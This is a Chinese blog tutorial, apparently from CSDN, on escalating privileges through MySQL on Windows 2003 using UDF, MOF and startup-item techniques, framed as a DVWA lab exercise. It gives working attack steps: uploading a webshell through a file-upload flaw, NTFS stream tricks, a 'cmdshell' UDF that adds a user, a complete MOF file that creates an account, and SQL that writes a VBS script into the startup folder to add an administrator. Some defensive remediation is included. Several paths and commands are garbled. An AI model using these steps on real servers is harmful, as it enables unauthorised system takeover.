实验目的(我的2003是32位的懒得搞了,大家参照一下吧)

普及结合dll文件对Windows系统进行启动项提权、MOF和UDF提权的基本思路,以及提权的主要方法。PS:面试时不要说打靶场什么东西,就说创建用户,文件执行什么之类的

基本概念

提权
通过某种方式将低权限用户提升为高权限用户的过程。
注入提权
一般指的是在掌控了某数据库账户的情况下,通过SQL注入等方式提升该账户的权
限,进而夺得服务器(操作系统)的控制权

Windows2003操作系统—一默认用户
System:本地机器上拥有最高权限的用户,普通用户管理工具查看不到
Administrator:基本上是本地机器上拥有最高权限的用户,可以重命名,但不能删除
Users组用户:普通用户,仅拥有一些基本的权限
Guests组用户:拥有相对极少的权限,默认情况是被禁用的
IUSR_*:安装IIS后出现的内建帐号,匿名访问IIS,Guest组成员之一
IWAM_*:与S有关,普通的用户帐户,可以为其分配访问远程网络资源的权限

Windows2003操作系统——目录(文件夹)权限
(1)完全控制:对目录拥有不受限制的完全访问权。选中了“完全控制”,下面的
五项属性将自动被选中。
(2)修改:选中了“修改”,它下面的四项属性将自动被选中。下面的任何一项没
有被选中时,“修改”条件将不再成立。
(3)读取和运行:允许读取和运行在目录下的任何文件,“列出文件夹目录”和
“读取”是“读取和运行”的必要条件。
(4)列出文件夹目录:只能浏览该卷或目录下的子目录,不能读取,也不能运行。
(5)读取:能够读取该卷或目录下的数据。
(6)写入:能够往该卷或目录下写入数据。
(7)特别的权限:对以上的六种权限进行细分及自定义。

系统提权的常用方法
操作系统提权
>系统内核溢出漏洞提权(https://github.com/secwiki/windows-kernel-exploits)
>系统配置错误提权
>组策略首选项提权(SYSVOL/GPP)
>BypassUAC提权

webshell提权
令牌取提权
数据库提权(MySQL、SQLServer等)
第三方应用软件提权(Serv-U、Office等)

通过MySQL数据库提权的方式
UDF提权
MOF提权
启动项提权

UDF
UDF(用户定义函数)是一类对MySQL服务器功能进行扩充的代码,通过添加新函数,性质就像使用本地MySQL函数absO)或concat0。当需要扩展MySQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限MySQL账号时比较好用的一种提权方法

UDF提权适用场合
拥有MySQL中的某个用户账号,该账号有对MySQL的insert和delete权限

UDF提权条件
MySQL版本大于5.1时,udf.dll文件须放置于MySQL安装目录下的lib\plugin文件夹(一般需要手工创建)下;MySQL版本小于5.1时,udf.dll文件在Windows2003下须放置于c:lwindowslsystem32
拥有MySQL数据库的账号,该账号有对MySQL的insert和delete权限,以创建和抛弃函数(一般以root账号为佳,具备root权限的其它账号也可以)拥有将udf.dl写入到相应目录的权限:MySQL的secure_file_priv不为NULL,且目标目录本身可写

NTFSADS流来创建文件夹(解决/lib/plugin目录不存在的问题)
select@@basedir;//查找到MySQL的目录
selectltis 'lt is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL
Server5.1\\lib::$INDEX_ALLOCATION';//利用NTFS ADS创建lib目录
select 'lt is dll' into dumpfile 'C:\\Program  Files\\MySQL\\MySQL
Server 5.1\\lib\\lplugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

UDF提权实例
环境
靶机:Windows2003
攻击机:Windows7,Webshell脚本(dama.php),UDF提权脚本(udf.php)
步骤
利用把机的文件上传漏洞,上传Webshell(dama.php)
远程连接Webshell(damaphp),利用该Webshell上传UDF提权脚本(udf.php)并创建
plugin目录
远程连接udf.php,生成udf.dll并导出至plugin目录中
执行下列命令,创建自定义函数cmdshell:
create function cmdshell returns string soname 'udf.dll';
执行下列命令,利用自定义函数cmdshell为粑机操作系统新建用户:
select cmdshell('net user admin12 admin12 /add');

MOF
MOF是Windows系统的一个文件(在
C:/Windows/System32/wbem/mof/nullevt.mof)叫做“托管对象格式
MOF作用是每隔五秒就会去监控进程创建和死亡
MOF当中有一段是VBS脚本,VBS大多数的是cmd的添加管理员用户的命令

MOF提权条件
目标系统是Windows2000、WindowsXP或Windows2003
拥有MySQL数据库的root账号权限
拥有将MOF文件写入到目录“%SystemRoot%\System321Wbem\MOF”的
权限:MySQL的secure_file_priv不为NULL,且目标目录本身可写

MOF提权实例
环境
靶机:Windows2003
攻击机:Windows7,Webshell脚本(dama.php),MOF提权脚本(nullevt.mof)
步骤
编写MOF提权脚本(nullevt.mof)

#pragma namespace("\\\\.\\root\\subscription")
instance of  _EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From  _InstanceModificationEvent"
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
Query Language "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine "JScript";
ScriptText ="var WSH = new Activexobject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin123 admin123 /add\")";
};
instance of _FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

利用把机的文件上传漏洞,上传Webshell(dama.php)和MOF提权脚本(nullevt.mof)
远程连接Webshell,并使用如下命令将MOF提权脚本(nullevt.mof)移动到C/Windows/System32/wbem/mof目录下,使操作系统自动执行:
select load_file('C:\\ProgramFiles\\lphpstudy\\WWW\\DvwA\\hackable\\uploads\\lnullevt.mof') into dumpfile 'C\\windows\\system32\\wbem\\mof\\nullevt.mof';

如果服务器发现被使用MOF提权,该如何解决循环创建用户?
在cmd中使用以下命令停止Windows Management Instrumentation服务:
net stop winmgmt
删除文件夹下内容C:/Windows/system32/wbem/repository
删除MOF文件
删除目标用户
在cmd中使用以下命令启动Windows Management Instrumentation服务:
net start winmgmt

Webshell下的Windows启动项提权
Wscript是一个基于Windows系统脚本宿主对象的根对象,利用它可以创造两种COM对象:
WshSheli与WshNetwork
WScriptShell(WindowsScriptHostRuntimeLibrary)是一个对象,对应的文件是C:/WINDOWs/system32/wshom.ocx
Wscript.shel是服务器系统会用到的一种组件。这个对象
可以执行操作系统外壳常用的操作,比如运行程序、读写注
册表、环境变量等。这个对象通常被用在VB或VBS编程中。
set wshshell=Createobject ("wscriptshell")
wshshell.run ("notepad")

启动项提权条件
目标系统是Windows2000、WindowsXP或Windows2003
拥有MySQL数据库的root账号权限
拥有将VBS或BAT文件写入到目录“C:\DocumentsandSettings\AllUsers\”
「开始」菜单\程序\启动”的权限:MySQL的secure_file_priv不为NULL,且
目标目录本身可写

启动项提权实例
环境
靶机:Windows2003
攻击机:Windows10,Webshell脚本(dama.php)
步骤
利用职机的文件上传漏洞,上传Webshell(dama.php)
远程连接Webshell,并使用如下命令在MySQL默认数据库test中创建表a,并插入相应内容:
insert into a values("set wshshell=createobject (""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user11/add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators 1/add"",0)");
利用如下命令创建一个vbs脚本程序,并将其输出至靶机操作系统的开始启动项中:
select * from a into outfile "C:\\Documents and Settings\\AII Users\\ 「开始]菜单\\程序\\启动\\a.vbs";

注入提权的防范
基于MySQL的注入提权防范方法
查看MySQL数据库中user表授权的登录host,禁止具备root账号权限的用户通过"%"进行登录
禁止在网站CMS系统使用root账号进行配置
设置root账号的密码为强密码
对MySQL执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi
检查MySQL数据库下的mysq1库中是否存在其它无关表,检查func表中的内容
可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何用户无读取和写入权限

实验环境

攻击机:别人的
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap、Burpsuite、FireFox浏览器插件Hackbar、
FoxyProxy等
(3)登录账号密码:操作系统帐号Admin,密码sdfgh
靶机:鱼王

(1)操作系统:本机(建议用虚拟机2003,不过我太懒了(‾◡◝)
(2)安装的应用软件: Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、  
Webug3.0漏洞网站环境  
(3)登录账号密码:操作系统帐号root,密码dfgh

实验原理

“启动项”就是开机的时候系统会在前台或者后台运行的程序。许多程序的自启动,给我们带来了很多方便,但不是每个自启动的程序对我们都有用:更甚者,也许有病毒或木马在自启动行列。如果攻击者能够控制启动项,拥有将可执行恶意脚本写入到启动项中的权限,能够完成提权的目的。

UDF(用户定义函数)是一类对MysQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就像使用本地 MySQL函数abs()或concat()。当需要扩展MysαL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限 MySQL账号时比较好用的一种提权方法。

MOF是Windows系统的一个文件(在C://Windows/system32/wbem/mof/nullevt.mof),叫做托管对象格式”,其作用是每隔一段时间就会去监控进程创建和死亡。MOF当中有一段是vbs脚本,
当中大多数是cmd添加用户的命令。

实验步骤

1.开启漏洞环境

在靶机上,启动 phpstudy,开启漏洞环境。

2.利用DVWA网站的漏洞上传Webshell并远程连接
(1)在攻击机Pentest-Atk上,启动Firefox浏览器,登录机上的DVWA网站。
网站的URL为;

http://靶机IP/DVWA-master/login.php

http://127.0.0.1/DVWA-master/login.php

输入默认用户名admin、密码password登录。
(2)成功登录DVWA网站后,在左侧菜单点击DVWASecurity,将DVWA网站的安全级别设置为Low,并点击Submit按钮确定。

(3)安全级别设置完成后,在左侧菜单点击“File Upload"模块,进入文件上传训练模块,并将攻击机的桌面文件夹tools/tiquan中的dama.php(实验中所用的Webshell) 文件上传至靶机(我本)。

win 2003 联网_Gjqhs的博客-CSDN博客

(4)dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接.php文件:

如图此类

注:第一次登录dama.php时会出现长时间卡顿现象,此时刷新浏览器即可。
3.利用Webshell上传udf.php(udf提权脚本),并创建plugin目录
(1)在dama.php主界面,选择左侧菜单“信息操作“->“上传文件”,将将攻击机桌面文件夹tools/tiquan中的udf.php(udf提权脚本)文件上传至机。默认上传路径为dama.php所在的目录,即:C:/ProgramFiles/phpstudy//dvwa/hackable/uploads

(2)仍然在damaphp主界面上,选择左侧菜单“本地磁盘”本地磁盘C,在C:/ProgramFiles/phpStudy/MySQL/lib目录下创建名为plugin的文件夹。

4.远程连接udf.php(udf提权脚本)
在攻击机Pentest-Atk上,利用Firefox浏览器连接目标靶机上的udf.php脚本。

连接URL:

http://ip/dwwa/hackable/uploads/udf.php

host:127.0.8.1
mysq1账号:root
密码:root
数据库名:mysql

5.利用udf.php生成dll文件,并执行提权
(1)在udf.php主界面,在“DLL导出路径”处填写:
C:\\Program Filesll\\phpstudy\\wysqL\\llib\\plugin\\udf.dil填写完成后点击”导出到此目录“按钮。如果执行成功,udf.dll文件将被导出至指定目录。
注:
a)在填写DLL导出路径时,应使用双反斜杠。
b)MySQL数据库的版本不同,导出路径也不尽相同。当MySQL版本<5.0时,导出路径随意:如果5.0<=MySQL版本<5.1,则需要导出至目标服务器的系统目录(如:system32):如果MySQL版本>5.1,则需要导出至MySQL数据库

插件的安装目录(plugin)。由于plugin目录默认是不存在的,因此在本实验的第3步中需要利用Webshell创建该目录。

(2)udf.dll导出成功后,仍然在udfphp主界面执行下列命令,创建cmdshell函数:
createfunction cmdshellreturnsstring soname"udf.dll'

(3)如果cmdshell函数创建成功,则可利用该函数在靶机操作系统中添加名为admin12的用户,所用命令为:
select cmdshell('net user admin12  /add');

(4)在靶机上验证攻击效果:
在cmd下输入netuser命令,会看到靶机操作系统中被添加了一个用户

“admin12”

有空补上吧,太长了

win隐藏账户

SQL注入——SQL注入漏洞利用(零)

SQL注入-SQL注入的WAF绕过(十六)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,关注我全部带走吧ψ(`∇´)ψ

SQL注入-基于MySQL的注入提权(十七)相关推荐

  1. 常用SQL语句 - 基于MySQL数据库

    常用SQL语句 - 基于MySQL数据库 基础 连接数据库 mysql -h10.20.66.32 -uroot -p123456 -h后面是mysqlServer所在地址,-u后面是用户名,-p后面 ...

  2. mysql进行mof提权_Mysql结合mof提权

    Mysql结合mof提权 作者:admin 发布于:2013-5-25 17:41 Saturday 分类:网络转载 from:http://zone.wooyun.org/content/1795 ...

  3. MySQL函数及提权

    在 sql 注入时为了应对各种限制措施,利用数据库自带的一些系统函数经过各种变换之后可以绕过一些 安全设备或者一些基础防御的措施,比如一些字符串转换的函数.截取字符串长度的函数等, 应用的场景包括:通 ...

  4. mysql mof提权_三、mysql 之mof提权学习

    一.测试环境 win2003 + phpnow 二.使用条件 mysql + root权限 三.工具准备 (1)工具1: 准备好mof提权脚本(具体mof脚本,已上传网盘) (2)工具2: 准备好菜刀 ...

  5. mysql sys exec_mysql提权lib_mysqludf_sys执行sys_exec出现32256的问题解决办法

    使用lib_mysqludf_sys提权,执行select sys_exec返回数字32256问题的主要原因是所执行的shell脚本无权限,也就是mysql无法执行,将shell脚本放在mysql s ...

  6. mysql差异备份提权_MSSQL差异备份取系统权限的相关软件下载

    MSSQL差异备份取系统权限的相关软件下载 更新时间:2007年11月09日 20:20:05   作者: 昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号 ...

  7. mysql进行mof提权_MySQL数据库Root权限MOF方法提权研究

    MySQL数据库Root权限MOF方法提权研究 MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Wi ...

  8. mysql进行mof提权_技术干货:MySQL数据库Root权限MOF方法提权研究

    MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Leve ...

  9. Mysql之UDF提权

    前言 mysql提权的几种方式 udf提权(常用) mof提权 开机启动脚本(启动项提权) 提权目的:mysql权限 -> 操作系统权限 UDF提权 有时候我们通过一些方式获取了目标主机mysq ...

最新文章

  1. SketchUp(草图大师) 2019 安装教程
  2. 【随笔】工程师都是性情中人
  3. mysql分别写出3条索引_MySQL3:索引
  4. Java黑皮书课后题第7章:**7.5(打印不同的数)编写一个程序,读入10个数,显示互不相同的数的数目,并以输入的顺序显示这些数字,以输入的顺序显示这些数字,以一个空格分隔。
  5. 链表——实现单链表的反转
  6. InstallShield Premier版本和Professional版本的功能差异
  7. spring cloud eureka 服务之间调用_Spring-cloud微服务实战【一】:微服务的概念与演进过程...
  8. 基于 Ubuntu 16.04 LTS 的 KDE neon 到达维护周期
  9. 串的定长存储表示【数据结构】
  10. 《程序员代码面试指南》第二章 链表问题 删除无序链表中值重复的链表
  11. 计算机博士后流动站有哪些,全国博士后流动站一览表.docx
  12. MongoDB Documents
  13. Spring Cloud随记----分布式配置中心再探---消息总线的引入
  14. python实现键盘打字练习
  15. 在qq2003里实现qq2000的皮肤
  16. 又一GameFi黑马问世,12.22日开启全球IDO
  17. Pyecharts绘制图表大全——柱形图
  18. 船用炉灶的全球与中国市场2022-2028年:技术、参与者、趋势、市场规模及占有率研究报告
  19. 输入直角三角形的两个直角边,求三角形的周长和面积,以及两个锐角的度数
  20. 阿里P10、腾讯T4、华为18都是怎样的神级收入?

热门文章

  1. 二分法查找平方和_面试手撕系列:二分法
  2. sudo dpkg 找不到命令_【干货】Linux中实用但很小众的11个炫酷终端命令
  3. python中没有switch-case_Python为什么没有switch/case语句?
  4. velocity参数重新赋值_Velocity(5)——#set指令
  5. python的super用法_关于Python的super用法研究
  6. FPGA学习之verilog语言入门指导
  7. rpm oracle 离线,在CentOS中离线安装Oracle之安装准备
  8. android 多个占位符,Android中占位符的使用
  9. zookeeper 安装及集群
  10. TinkPHP框架学习-01基本知识